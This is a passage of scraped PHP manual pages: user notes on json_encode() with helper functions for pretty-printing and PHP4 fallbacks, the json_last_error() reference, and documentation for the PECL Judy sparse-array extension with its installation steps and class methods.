// then you can retrive the data doing:

$myarray = (array) json_decode ( $json_encoded_array );

?>
simoncpu was here 20-Oct-2009 02:18
A note of caution: If you are wondering why json_encode() encodes your PHP array as a JSON object instead of a JSON array, you might want to double check your array keys because json_encode() assumes that you array is an object if your keys are not sequential.

e.g.:

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');
var_dump($myarray);
/* output
array(3) {
  [0]=>
  string(3) "isa"
  [1]=>
  string(6) "dalawa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

As you can see, the keys are sequential; $myarray will be correctly encoded as a JSON array.

<?php
$myarray = Array('isa', 'dalawa', 'tatlo');

unset($myarray[1]);
var_dump($myarray);
/* output
array(2) {
  [0]=>
  string(3) "isa"
  [2]=>
  string(5) "tatlo"
}
*/
?>

Unsetting an element will also remove the keys. json_encode() will now assume that this is an object, and will encode it as such.

SOLUTION: Use array_values() to re-index the array.
http://mike.eire.ca/ 10-Aug-2009 01:54
Note that this function does not always produce legal JSON.

<?php
$json = json_encode('foo');
var_dump($json);
//string(5) ""foo""

$json = json_encode(23);
var_dump($json);
//string(2) "23"
?>

According to the JSON spec, only objects and arrays can be represented; the JSON_FORCE_OBJECT flag available since PHP 5.3 does not change this behaviour. If you're using this to produce JSON that will be exchanged with other systems, adjust your output accordingly.

<?php
$json = preg_replace('/^([^[{].*)$/', '[$1]', $json);
?>

The json_decode function accepts these JSON fragments without complaint.
damon1977 at gmail dot com 28-Jul-2009 12:41
I wrote a function to make JSON strings more readable. It's very useful for debugging JSON output...

<?php
function jsonReadable($json, $html=FALSE) {
    $tabcount = 0;
    $result = '';
    $inquote = false;
    $ignorenext = false;

    if ($html) {
        $tab = "&nbsp;&nbsp;&nbsp;";
        $newline = "<br/>";
    } else {
        $tab = "\t";
        $newline = "\n";
    }

    for($i = 0; $i < strlen($json); $i++) {
        $char = $json[$i];

        if ($ignorenext) {
            $result .= $char;
            $ignorenext = false;
        } else {
            switch($char) {
                case '{':
                    $tabcount++;
                    $result .= $char . $newline . str_repeat($tab, $tabcount);
                    break;
                case '}':
                    $tabcount--;
                    $result = trim($result) . $newline . str_repeat($tab, $tabcount) . $char;
                    break;
                case ',':
                    $result .= $char . $newline . str_repeat($tab, $tabcount);
                    break;
                case '"':
                    $inquote = !$inquote;
                    $result .= $char;
                    break;
                case '\\':
                    if ($inquote) $ignorenext = true;
                    $result .= $char;
                    break;
                default:
                    $result .= $char;
            }
        }
    }

    return $result;
}
?>
Istratov Vadim 09-Jun-2009 11:54
Be careful with floating values in some locales (e.g. russian) with comma (",") as decimal point. Code:

<?php
setlocale(LC_ALL, 'ru_RU.utf8');

$arr = array('element' => 12.34);
echo json_encode( $arr );
?>

Output will be:
--------------
{"element":12,34}
--------------

Which is NOT a valid JSON markup. You should convert floating point variable to strings or set locale to something like "LC_NUMERIC, 'en_US.utf8'" before using json_encode.
other at killermonk dot com 20-May-2009 02:55
If you are trying to flatten a multi dimensional array, you can also just use serialize and unserialize. It just depends on what you are trying to do.
Sam Barnum 20-Apr-2009 11:01
Note that if you try to encode an array containing non-utf values, you'll get null values in the resulting JSON string.  You can batch-encode all the elements of an array with the array_map function:
<?php
$encodedArray = array_map(utf8_encode, $rawArray);
?>
atrauzzi at gmail dot com 08-Apr-2009 12:39
Here's an idea for people trying to figure out an alternative to implode() to flatten multi-dimensional arrays.

Use json_encode()!

I needed a way to create a hash from an array:

md5(json_encode($multiDimensionalArray)) does the trick!

Happy caching!
andyrusterholz at g-m-a-i-l dot c-o-m 27-Mar-2009 11:17
For anyone who would like to encode arrays into JSON, but is using PHP 4, and doesn't want to wrangle PECL around, here is a function I wrote in PHP4 to convert nested arrays into JSON.

Note that, because javascript converts JSON data into either nested named objects OR vector arrays, it's quite difficult to represent mixed PHP arrays (arrays with both numerical and associative indexes) well in JSON. This function does something funky if you pass it a mixed array -- see the comments for details.

I don't make a claim that this function is by any means complete (for example, it doesn't handle objects) so if you have any improvements, go for it.

<?php

/**
 * Converts an associative array of arbitrary depth and dimension into JSON representation.
 *
 * NOTE: If you pass in a mixed associative and vector array, it will prefix each numerical
 * key with "key_". For example array("foo", "bar" => "baz") will be translated into
 * {'key_0': 'foo', 'bar': 'baz'} but array("foo", "bar") would be translated into [ 'foo', 'bar' ].
 *
 * @param $array The array to convert.
 * @return mixed The resulting JSON string, or false if the argument was not an array.
 * @author Andy Rusterholz
 */
function array_to_json( $array ){

    if( !is_array( $array ) ){
        return false;
    }

    $associative = count( array_diff( array_keys($array), array_keys( array_keys( $array )) ));
    if( $associative ){

        $construct = array();
        foreach( $array as $key => $value ){

            // We first copy each key/value pair into a staging array,
            // formatting each key and value properly as we go.

            // Format the key:
            if( is_numeric($key) ){
                $key = "key_$key";
            }
            $key = "'".addslashes($key)."'";

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = "'".addslashes($value)."'";
            }

            // Add to staging array:
            $construct[] = "$key: $value";
        }

        // Then we collapse the staging array into the JSON form:
        $result = "{ " . implode( ", ", $construct ) . " }";

    } else { // If the array is a vector (not associative):

        $construct = array();
        foreach( $array as $value ){

            // Format the value:
            if( is_array( $value )){
                $value = array_to_json( $value );
            } else if( !is_numeric( $value ) || is_string( $value ) ){
                $value = "'".addslashes($value)."'";
            }

            // Add to staging array:
            $construct[] = $value;
        }

        // Then we collapse the staging array into the JSON form:
        $result = "[ " . implode( ", ", $construct ) . " ]";
    }

    return $result;
}

?>
aangel at spam dot com 07-Feb-2009 05:50
Here is a bit more on creating an iterator to get at those pesky private/protected variables:

<?php
   class Kit implements IteratorAggregate {

    public function __construct($var) {
        if (is_object($var)) {
            // if passed an object, we are cloning
           $this->kitID = $var->kitID;
           $this->kitName = $var->kitName;
           foreach ($var->productArray as $key => $value) {
               $this->productArray[$key] = (array)$value;
           }
        }
    }
   ...
    // Create an iterator because private/protected vars can't
    // be seen by json_encode().
    public function getIterator() {
        $iArray['kitID'] = $this->kitID;
        $iArray['kitName'] = $this->kitName;
        $iArray['productArray'] = (array)$this->productArray;
        return new ArrayIterator($iArray);
    }
}
?>

Calling something like  $t = json_encode($this->getIterator());  will give you almost what you want:
<?php
{"kitID":"Kit_Essentials-Books.txt",
"kitName":"Essential Books",
"productArray":{"0470043601":{"Category":"Food","ASIN":"0470043601"} } }
?>

Notice that the productArray is converted to an object ignoring the cast I put in front, which is not what I wanted. I haven't figured out how to make sure that encodes as an array.

Regardless, bringing that JSON back into an object using json_decode() will give you just a std object, and the only way I've found to get it into the proper object type is to use a constructor that instantiates the object the way it's supposed to be (see __construct($var) above). Like this:
<?php

        $newKit = new Kit(json_decode($t));
?>
Garrett 22-Oct-2008 11:17
A note about json_encode automatically quoting numbers:

It appears that the json_encode function pays attention to the data type of the value. Let me explain what we came across:

We have found that when retrieving data from our database, there are occasions when numbers appear as strings to json_encode which results in double quotes around the values.

This can lead to problems within javascript functions expecting the values to be numeric.

This was discovered when were were retrieving fields from the database which contained serialized arrays. After unserializing them and sending them through the json_encode function the numeric values in the original array were now being treated as strings and showing up with double quotes around them.

The fix: Prior to encoding the array, send it to a function which checks for numeric types and casts accordingly. Encoding from then on worked as expected.
stboisvert at nowantspam dot gmail dot com 14-Oct-2008 12:27
When Using Libraries such as Prototype you may find that once in a while when you return what you believe to be a empty array it will have a different behavior (vis a vis enumerables) than when you give it an associative array. To "fix" this, on your JS you may want to look for extended object properties to verify if it is an empty array or an ocject.

example:

<?php
if (transport.responseJSON['User'].length == undefined){
        var user = $H(transport.responseJSON['User']);
}else{
        var user = transport.responseJSON['User'];
}
?>

Thanks goes out to :
jani@php.net

This is totally expected behaviour. Please read this:
http://www.json.org/

Note: array and assoc-array are different things. Latter being "object"
in json.

http://bugs.php.net/bug.php?id=45162

[RQuadling] See http://bugs.php.net/bug.php?id=47493. Fixed by using json_encode(array(), JSON_FORCE_OBJECT);
spam.goes.in.here AT gmail.com 08-Aug-2008 11:05
For anyone who has run into the problem of private properties not being added, you can simply implement the IteratorAggregate interface with the getIterator() method. Add the properties you want to be included in the output into an array in the getIterator() method and return it.
umbrae at gmail dot com 10-Jan-2008 10:21
Here's a quick function to pretty-print some JSON. Optimizations welcome, as this was a 10-minute dealie without efficiency in mind:

<?php
// Pretty print some JSON
function json_format($json)
{
    $tab = "  ";
    $new_json = "";
    $indent_level = 0;
    $in_string = false;

    $json_obj = json_decode($json);

    if($json_obj === false)
        return false;

    $json = json_encode($json_obj);
    $len = strlen($json);

    for($c = 0; $c < $len; $c++)
    {
        $char = $json[$c];
        switch($char)
        {
            case '{':
            case '[':
                if(!$in_string)
                {
                    $new_json .= $char . "\n" . str_repeat($tab, $indent_level+1);
                    $indent_level++;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '}':
            case ']':
                if(!$in_string)
                {
                    $indent_level--;
                    $new_json .= "\n" . str_repeat($tab, $indent_level) . $char;
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ',':
                if(!$in_string)
                {
                    $new_json .= ",\n" . str_repeat($tab, $indent_level);
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case ':':
                if(!$in_string)
                {
                    $new_json .= ": ";
                }
                else
                {
                    $new_json .= $char;
                }
                break;
            case '"':
                if($c > 0 && $json[$c-1] != '\\')
                {
                    $in_string = !$in_string;
                }
            default:
                $new_json .= $char;
                break;
        }
    }

    return $new_json;
}
?>
jjoss 24-Oct-2007 12:07
Another way to work with Russian characters. This procedure just handles Cyrillic characters without UTF conversion. Thanks to JsHttpRequest developers.

<?php
function php2js($a=false)
{
  if (is_null($a)) return 'null';
  if ($a === false) return 'false';
  if ($a === true) return 'true';
  if (is_scalar($a))
  {
    if (is_float($a))
    {
      // Always use "." for floats.
      $a = str_replace(",", ".", strval($a));
    }

    // All scalars are converted to strings to avoid indeterminism.
    // PHP's "1" and 1 are equal for all PHP operators, but
    // JS's "1" and 1 are not. So if we pass "1" or 1 from the PHP backend,
    // we should get the same result in the JS frontend (string).
    // Character replacements for JSON.
    static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'),
    array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
    return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
  }
  $isList = true;
  for ($i = 0, reset($a); $i < count($a); $i++, next($a))
  {
    if (key($a) !== $i)
    {
      $isList = false;
      break;
    }
  }
  $result = array();
  if ($isList)
  {
    foreach ($a as $v) $result[] = php2js($v);
    return '[ ' . join(', ', $result) . ' ]';
  }
  else
  {
    foreach ($a as $k => $v) $result[] = php2js($k).': '.php2js($v);
    return '{ ' . join(', ', $result) . ' }';
  }
}
?>
jfdsmit at gmail dot com 23-Oct-2007 07:31
json_encode also won't handle objects that do not directly expose their internals but through the Iterator interface. These two function will take care of that:

<?php

/**
 * Convert an object into an associative array
 *
 * This function converts an object into an associative array by iterating
 * over its public properties. Because this function uses the foreach
 * construct, Iterators are respected. It also works on arrays of objects.
 *
 * @return array
 */
function object_to_array($var) {
    $result = array();
    $references = array();

    // loop over elements/properties
    foreach ($var as $key => $value) {
        // recursively convert objects
        if (is_object($value) || is_array($value)) {
            // but prevent cycles
            if (!in_array($value, $references)) {
                $result[$key] = object_to_array($value);
                $references[] = $value;
            }
        } else {
            // simple values are untouched
            $result[$key] = $value;
        }
    }
    return $result;
}

/**
 * Convert a value to JSON
 *
 * This function returns a JSON representation of $param. It uses json_encode
 * to accomplish this, but converts objects and arrays containing objects to
 * associative arrays first. This way, objects that do not expose (all) their
 * properties directly but only through an Iterator interface are also encoded
 * correctly.
 */
function json_encode2($param) {
    if (is_object($param) || is_array($param)) {
        $param = object_to_array($param);
    }
    return json_encode($param);
}
dennispopel(at)gmail.com 26-Aug-2007 10:43
Obviously, this function has trouble encoding arrays with empty string keys (''). I have just noticed that (because I was using a function in PHP under PHP4). When I switched to PHP5's json_encode, I noticed that browsers could not correctly parse the encoded data. More investigation maybe needed for a bug report, but this quick note may save somebody several hours.

Also, it manifests on Linux in 5.2.1 (tested on two boxes), on my XP with PHP5.2.3 json_encode() works just great! However, both 5.2.1 and 5.2.3 phpinfo()s show that the json version is 1.2.1 so might be Linux issue
php at mikeboers dot com 05-Jul-2007 07:49
Here is a way to convert an object to an array which will include all protected and private members before you send it to json_encode()

<?php

function objectArray( $object ) {

    if ( is_array( $object ))
        return $object ;

    if ( !is_object( $object ))
        return false ;

    $serial = serialize( $object ) ;
    $serial = preg_replace( '/O:\d+:".+?"/' ,'a' , $serial ) ;
    if( preg_match_all( '/s:\d+:"\\0.+?\\0(.+?)"/' , $serial, $ms, PREG_SET_ORDER )) {
        foreach( $ms as $m ) {
            $serial = str_replace( $m[0], 's:'. strlen( $m[1] ) . ':"'.$m[1] . '"', $serial ) ;
        }
    }

    return @unserialize( $serial ) ;

}

// TESTING

class A {

    public $a = 'public for a' ;
    protected $b = true ;
    private $c = 123 ;

}

class B {

    public $d = 'public for b' ;
    protected $e = false ;
    private $f = 456 ;

}

$a = new A() ;
$a -> d = new B() ;

echo '<pre>' ;
print_r( $a ) ;
print_r( objectArray( $a )) ;

?>

Cheers!

mike
Yi-Ren Chen at NCTU CSIE 01-May-2007 09:55
I write a function "php_json_encode"
for early version of php which support "multibyte" but doesn't support "json_encode".
<?php
  function json_encode_string($in_str)
  {
    mb_internal_encoding("UTF-8");
    $convmap = array(0x80, 0xFFFF, 0, 0xFFFF);
    $str = "";
    for($i=mb_strlen($in_str)-1; $i>=0; $i--)
    {
      $mb_char = mb_substr($in_str, $i, 1);
      if(mb_ereg("&#(\\d+);", mb_encode_numericentity($mb_char, $convmap, "UTF-8"), $match))
      {
        $str = sprintf("\\u%04x", $match[1]) . $str;
      }
      else
      {
        $str = $mb_char . $str;
      }
    }
    return $str;
  }
  function php_json_encode($arr)
  {
    $json_str = "";
    if(is_array($arr))
    {
      $pure_array = true;
      $array_length = count($arr);
      for($i=0;$i<$array_length;$i++)
      {
        if(! isset($arr[$i]))
        {
          $pure_array = false;
          break;
        }
      }
      if($pure_array)
      {
        $json_str ="[";
        $temp = array();
        for($i=0;$i<$array_length;$i++)
        {
          $temp[] = sprintf("%s", php_json_encode($arr[$i]));
        }
        $json_str .= implode(",",$temp);
        $json_str .="]";
      }
      else
      {
        $json_str ="{";
        $temp = array();
        foreach($arr as $key => $value)
        {
          $temp[] = sprintf("\"%s\":%s", $key, php_json_encode($value));
        }
        $json_str .= implode(",",$temp);
        $json_str .="}";
      }
    }
    else
    {
      if(is_string($arr))
      {
        $json_str = "\"". json_encode_string($arr) . "\"";
      }
      else if(is_numeric($arr))
      {
        $json_str = $arr;
      }
      else
      {
        $json_str = "\"". json_encode_string($arr) . "\"";
      }
    }
    return $json_str;
  }
giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 08:11
Take care that json_encode() expects strings to be encoded to be in UTF8 format, while by default PHP strings are ISO-8859-1 encoded.
This means that

json_encode(array('àü'));

will produce a json representation of an empty string, while

json_encode(array(utf8_encode('àü')));

will work.
The same applies to decoding, too, of course...
json_decode
json_last_error
JSON Functions


Returns the last error occurred

json_encode
Judy
JSON Functions
PHP Manual

json_last_error

(PHP 5 >= 5.3.0)

json_last_error — Returns the last error occurred

Description

int json_last_error ( void )

Returns the last error (if any) occurred during the last JSON encoding/decoding.

Parameters

This function has no parameters.

Return Values

Returns an integer, the value can be one of the following constants:

JSON error codes
Constant | Meaning | Availability
JSON_ERROR_NONE | No error has occurred |
JSON_ERROR_DEPTH | The maximum stack depth has been exceeded |
JSON_ERROR_STATE_MISMATCH | Invalid or malformed JSON |
JSON_ERROR_CTRL_CHAR | Control character error, possibly incorrectly encoded |
JSON_ERROR_SYNTAX | Syntax error |
JSON_ERROR_UTF8 | Malformed UTF-8 characters, possibly incorrectly encoded | PHP 5.3.3

Examples

Example #1 json_last_error() example

<?php
// A valid json string
$json[] = '{"Organization": "PHP Documentation Team"}';

// An invalid json string which will cause an syntax
// error, in this case we used ' instead of " for quotation
$json[] = "{'Organization': 'PHP Documentation Team'}";

foreach ($json as $string) {
    echo 'Decoding: ' . $string;
    json_decode($string);

    switch (json_last_error()) {
        case JSON_ERROR_NONE:
            echo ' - No errors';
        break;
        case JSON_ERROR_DEPTH:
            echo ' - Maximum stack depth exceeded';
        break;
        case JSON_ERROR_STATE_MISMATCH:
            echo ' - Underflow or the modes mismatch';
        break;
        case JSON_ERROR_CTRL_CHAR:
            echo ' - Unexpected control character found';
        break;
        case JSON_ERROR_SYNTAX:
            echo ' - Syntax error, malformed JSON';
        break;
        case JSON_ERROR_UTF8:
            echo ' - Malformed UTF-8 characters, possibly incorrectly encoded';
        break;
        default:
            echo ' - Unknown error';
        break;
    }

    echo PHP_EOL;
}
?>

The above example will output:

Decoding: {"Organization": "PHP Documentation Team"} - No errors
Decoding: {'Organization': 'PHP Documentation Team'} - Syntax error, malformed JSON

Example #2 json_last_error() with json_encode()

<?php
// An invalid UTF8 sequence
$text = "\xB1\x31";

$json  = json_encode($text);
$error = json_last_error();

var_dump($json, $error === JSON_ERROR_UTF8);
?>

The above example will output:

string(4) "null"
bool(true)

See Also

  • json_decode() - Decodes a JSON string
  • json_encode() - Returns the JSON representation of a value

User Contributed Notes

jimmetry at gmail dot com 23-Nov-2011 09:16
While this can obviously change between versions, the current error codes are as follows:

0 = JSON_ERROR_NONE
1 = JSON_ERROR_DEPTH
2 = JSON_ERROR_STATE_MISMATCH
3 = JSON_ERROR_CTRL_CHAR
4 = JSON_ERROR_SYNTAX
5 = JSON_ERROR_UTF8

I'm only posting these for people who may be trying to understand why specific JSON files are not being decoded. Please do not hard-code these numbers into an error handler routine.
lior at mytopia dot com 09-Mar-2009 05:17
For those of you who prefer a more object oriented approach (as I do), here is a fairly simple wrapper that handles errors using exceptions:

<?php

class JSON
{
    public static function Encode($obj)
    {
        return json_encode($obj);
    }

    public static function Decode($json, $toAssoc = false)
    {
        $result = json_decode($json, $toAssoc);
        switch(json_last_error())
        {
            case JSON_ERROR_DEPTH:
                $error =  ' - Maximum stack depth exceeded';
                break;
            case JSON_ERROR_CTRL_CHAR:
                $error = ' - Unexpected control character found';
                break;
            case JSON_ERROR_SYNTAX:
                $error = ' - Syntax error, malformed JSON';
                break;
            case JSON_ERROR_NONE:
            default:
                $error = '';
        }
        if (!empty($error))
            throw new Exception('JSON Error: '.$error);

        return $result;
    }
}

?>
json_encode
Judy
JSON Functions


Judy Arrays

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Judy — The Judy class
    • Judy::byCount — Locate the Nth index present in the Judy array
    • Judy::__construct — Construct a new Judy object
    • Judy::count — Count the number of elements in the Judy array
    • Judy::__destruct — Destruct a Judy object
    • Judy::first — Search for the first index in the Judy array
    • Judy::firstEmpty — Search for the first absent index in the Judy array
    • Judy::free — Free the entire Judy array
    • Judy::getType — Return the type of the current Judy array
    • Judy::last — Search for the last index in the Judy array
    • Judy::lastEmpty — Search for the last absent index in the Judy array
    • Judy::memoryUsage — Return the memory used by the Judy array
    • Judy::next — Search for the next index in the Judy array
    • Judy::nextEmpty — Search for the next absent index in the Judy array
    • Judy::offsetExists — Whether a offset exists
    • Judy::offsetGet — Offset to retrieve
    • Judy::offsetSet — Offset to set
    • Judy::offsetUnset — Offset to unset
    • Judy::prev — Search for the previous index in the Judy array
    • Judy::prevEmpty — Search for the previous absent index in the Judy array
    • Judy::size — Return the size of the current Judy array
  • Judy Functions
    • judy_type — Return the type of a Judy array
    • judy_version — Return or print the current PHP Judy version

User Contributed Notes

There are no user contributed notes for this page.
json_last_error
Introduction
Other Basic Extensions


Introduction

PHP Judy is a PECL extension for the » Judy C library implementing dynamic sparse arrays.

A Judy array is a complex but very fast associative array data structure for storing and looking up values using integer or string keys. Unlike normal arrays, Judy arrays may be sparse; that is, they may have large ranges of unassigned indices.

A Judy array consumes memory only when populated yet can grow to take advantage of all available memory. Judy's key benefits are: scalability, performance, memory efficiency, and ease of use. Judy arrays are designed to grow without tuning into the peta-element range, scaling near O(log-base-256) -- 1 more RAM access at 256 X population.

User Contributed Notes

There are no user contributed notes for this page.
Judy
Installing/Configuring
Judy


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Judy


Requirements

This extension require the » Judy C library.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/judy

The latest PECL/judy Win32 DLL is available here: » php_judy.dll

Installation on Linux Systems

From sources

Download and install » libJudy, then :

     phpize
     ./configure --with-judy[=DIR]
     make
     make test
     make install

Ubuntu/Debian

libJudy can be installed with apt-get :

    apt-get install libjudydebian1 libjudy-dev
Then by installing the Judy extension from PECL or from the sources.

Installation on Windows Systems

Download » libJudy, then extract the sources and open the Visual Studio command prompt and navigate to the source directory. Then execute :

build
This creates "Judy.lib", copy this into the php-sdk library folder and name it "libJudy.lib" Then copy the include file "judy.h" into the php-sdk includes folder.

Next, the PHP Judy extension can be installed from PECL or from the sources by extracting the pecl/judy into your build folder where the build scripts will be able to pick it up, e.g.:

    C:\php\pecl\judy\
If your source of PHP is located in:
    C:\php\src\
The rest of the steps is pretty straight forward, like any other external extension:
    buildconf
    configure --with-judy=shared
    nmake

Installation on Mac OS X

Download and install » libJudy. Then install the Judy extension from PECL or from the sources.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Judy
Installing/Configuring


The Judy class

(No version information available, might only be in SVN)

Introduction

The Judy class implements the ArrayAccess interface and the Iterator interface. This class, once instantiated, can be accessed like a PHP array.

A PHP Judy object (or Judy Array) can be one of the following type :

  • Judy::BITSET
  • Judy::INT_TO_INT
  • Judy::INT_TO_MIXED
  • Judy::STRING_TO_INT
  • Judy::STRING_TO_MIXED

Example #1 Judy array example

<?php
    $judy = new Judy(Judy::INT_TO_MIXED);
    $judy[1] = "one";
    $judy[2] = array('a', 'b', 'c');
    $judy[3] = new Judy(Judy::BITSET);
?>

Class synopsis

Judy implements ArrayAccess , Iterator {
/* Constants */
const integer BITSET = 1 ;
const integer INT_TO_INT = 2 ;
const integer INT_TO_MIXED = 3 ;
const integer STRING_TO_INT = 4 ;
const integer STRING_TO_MIXED = 5 ;
/* Methods */
public int byCount ( int $nth_index )
public __construct ( int $judy_type )
public int count ([ int $index_start = 0 [, int $index_end = -1 ]] )
public void __destruct ( void )
public mixed first ([ mixed $index ] )
public int firstEmpty ([ mixed $index = 0 ] )
public int free ( void )
public int getType ( void )
public void last ([ string $index ] )
public int lastEmpty ([ int $index = -1 ] )
public int memoryUsage ( void )
public mixed next ( mixed $index )
public int nextEmpty ( int $index )
public bool offsetExists ( mixed $offset )
public mixed offsetGet ( mixed $offset )
public bool offsetSet ( mixed $offset , mixed $value )
public bool offsetUnset ( mixed $offset )
public mixed prev ( mixed $index )
public int prevEmpty ( mixed $index )
public void size ( void )
}

Predefined Constants

Judy::BITSET

Define the Judy Array as a Bitset with keys as Integer and Values as a Boolean

Judy::INT_TO_INT

Define the Judy Array with key/values as Integer, and Integer only.

Judy::INT_TO_MIXED

Define the Judy Array with keys as Integer and Values of any type.

Judy::STRING_TO_INT

Define the Judy Array with keys as a String and Values as Integer, and Integer only.

Judy::STRING_TO_MIXED

Define the Judy Array with keys as a String and Values of any type.

Table of Contents

  • Judy::byCount — Locate the Nth index present in the Judy array
  • Judy::__construct — Construct a new Judy object
  • Judy::count — Count the number of elements in the Judy array
  • Judy::__destruct — Destruct a Judy object
  • Judy::first — Search for the first index in the Judy array
  • Judy::firstEmpty — Search for the first absent index in the Judy array
  • Judy::free — Free the entire Judy array
  • Judy::getType — Return the type of the current Judy array
  • Judy::last — Search for the last index in the Judy array
  • Judy::lastEmpty — Search for the last absent index in the Judy array
  • Judy::memoryUsage — Return the memory used by the Judy array
  • Judy::next — Search for the next index in the Judy array
  • Judy::nextEmpty — Search for the next absent index in the Judy array
  • Judy::offsetExists — Whether a offset exists
  • Judy::offsetGet — Offset to retrieve
  • Judy::offsetSet — Offset to set
  • Judy::offsetUnset — Offset to unset
  • Judy::prev — Search for the previous index in the Judy array
  • Judy::prevEmpty — Search for the previous absent index in the Judy array
  • Judy::size — Return the size of the current Judy array

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Judy::byCount
Judy


Locate the Nth index present in the Judy array

Judy
Judy::__construct
Judy
PHP Manual

Judy::byCount

(PECL judy >= 0.1.1)

Judy::byCount — Locate the Nth index present in the Judy array

Description

public int Judy::byCount ( int $nth_index )

Locate the Nth index present in the Judy array.

Parameters

nth_index

Nth index to return. If nth_index equal 1, then it will return the first index in the array.

Return Values

Return the index at the given Nth position.

User Contributed Notes

There are no user contributed notes for this page.
Judy
Judy::__construct
Judy


Construct a new Judy object

Judy::byCount
Judy::count
Judy
PHP Manual

Judy::__construct

(PECL judy >= 0.1.1)

Judy::__construct — Construct a new Judy object

Description

public Judy::__construct ( int $judy_type )

Construct a new Judy object. A Judy object can be accessed like a PHP Array.

Parameters

judy_type

The Judy type to be used.

Return Values

Return the new Judy instance.

User Contributed Notes

There are no user contributed notes for this page.
Judy::byCount
Judy::count
Judy


Count the number of elements in the Judy array

Judy::__construct
Judy::__destruct
Judy
PHP Manual

Judy::count

(PECL judy >= 0.1.1)

Judy::count — Count the number of elements in the Judy array

Description

public int Judy::count ([ int $index_start = 0 [, int $index_end = -1 ]] )

Count the number of elements in the Judy array.

Parameters

index_start

Start counting from the given index. Default is first index.

index_end

Stop counting when reaching this index. Default is last index.

Return Values

Return the number of elements.

User Contributed Notes

There are no user contributed notes for this page.
Judy::__construct
Judy::__destruct
Judy


Destruct a Judy object

Judy::count
Judy::first
Judy
PHP Manual

Judy::__destruct

(PECL judy >= 0.1.1)

Judy::__destruct — Destruct a Judy object

Description

public void Judy::__destruct ( void )

Destruct a Judy object.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Judy::count
Judy::first
Judy


Search for the first index in the Judy array

Judy::__destruct
Judy::firstEmpty
Judy
PHP Manual

Judy::first

(PECL judy >= 0.1.1)

Judy::first — Search for the first index in the Judy array

Description

public mixed Judy::first ([ mixed $index ] )

Search (inclusive) for the first index present that is equal to or greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::__destruct
Judy::firstEmpty
Judy


Search for the first absent index in the Judy array

Judy::first
Judy::free
Judy
PHP Manual

Judy::firstEmpty

(PECL judy >= 0.1.1)

Judy::firstEmpty — Search for the first absent index in the Judy array

Description

public int Judy::firstEmpty ([ mixed $index = 0 ] )

Search (inclusive) for the first absent index that is equal to or greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::first
Judy::free
Judy


Free the entire Judy array

Judy::firstEmpty
Judy::getType
Judy
PHP Manual

Judy::free

(PECL judy >= 0.1.1)

Judy::free — Free the entire Judy array

Description

public int Judy::free ( void )

Free the entire Judy array.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Judy::firstEmpty
Judy::getType
Judy


Return the type of the current Judy array

Judy::free
Judy::last
Judy
PHP Manual

Judy::getType

(PECL judy >= 0.1.1)

Judy::getType — Return the type of the current Judy array

Description

public int Judy::getType ( void )

Return an integer corresponding to the Judy type of the current object.

Parameters

This function has no parameters.

Return Values

Return an integer corresponding to a Judy type.

User Contributed Notes

There are no user contributed notes for this page.
Judy::free
Judy::last
Judy


Search for the last index in the Judy array

Judy::getType
Judy::lastEmpty
Judy
PHP Manual

Judy::last

(PECL judy >= 0.1.1)

Judy::last — Search for the last index in the Judy array

Description

public void Judy::last ([ string $index ] )

Search (inclusive) for the last index present that is equal to or less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::getType
Judy::lastEmpty
Judy


Search for the last absent index in the Judy array

Judy::last
Judy::memoryUsage
Judy
PHP Manual

Judy::lastEmpty

(PECL judy >= 0.1.1)

Judy::lastEmpty — Search for the last absent index in the Judy array

Description

public int Judy::lastEmpty ([ int $index = -1 ] )

Search (inclusive) for the last absent index that is equal to or less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::last
Judy::memoryUsage
Judy


Return the memory used by the Judy array

Judy::lastEmpty
Judy::next
Judy
PHP Manual

Judy::memoryUsage

(PECL judy >= 0.1.1)

Judy::memoryUsage — Return the memory used by the Judy array

Description

public int Judy::memoryUsage ( void )

Return the memory used by the Judy array.

Parameters

This function has no parameters.

Return Values

Return the memory used in bytes.

User Contributed Notes

There are no user contributed notes for this page.
Judy::lastEmpty
Judy::next
Judy


Search for the next index in the Judy array

Judy::memoryUsage
Judy::nextEmpty
Judy
PHP Manual

Judy::next

(PECL judy >= 0.1.1)

Judy::next — Search for the next index in the Judy array

Description

public mixed Judy::next ( mixed $index )

Search (exclusive) for the next index present that is greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

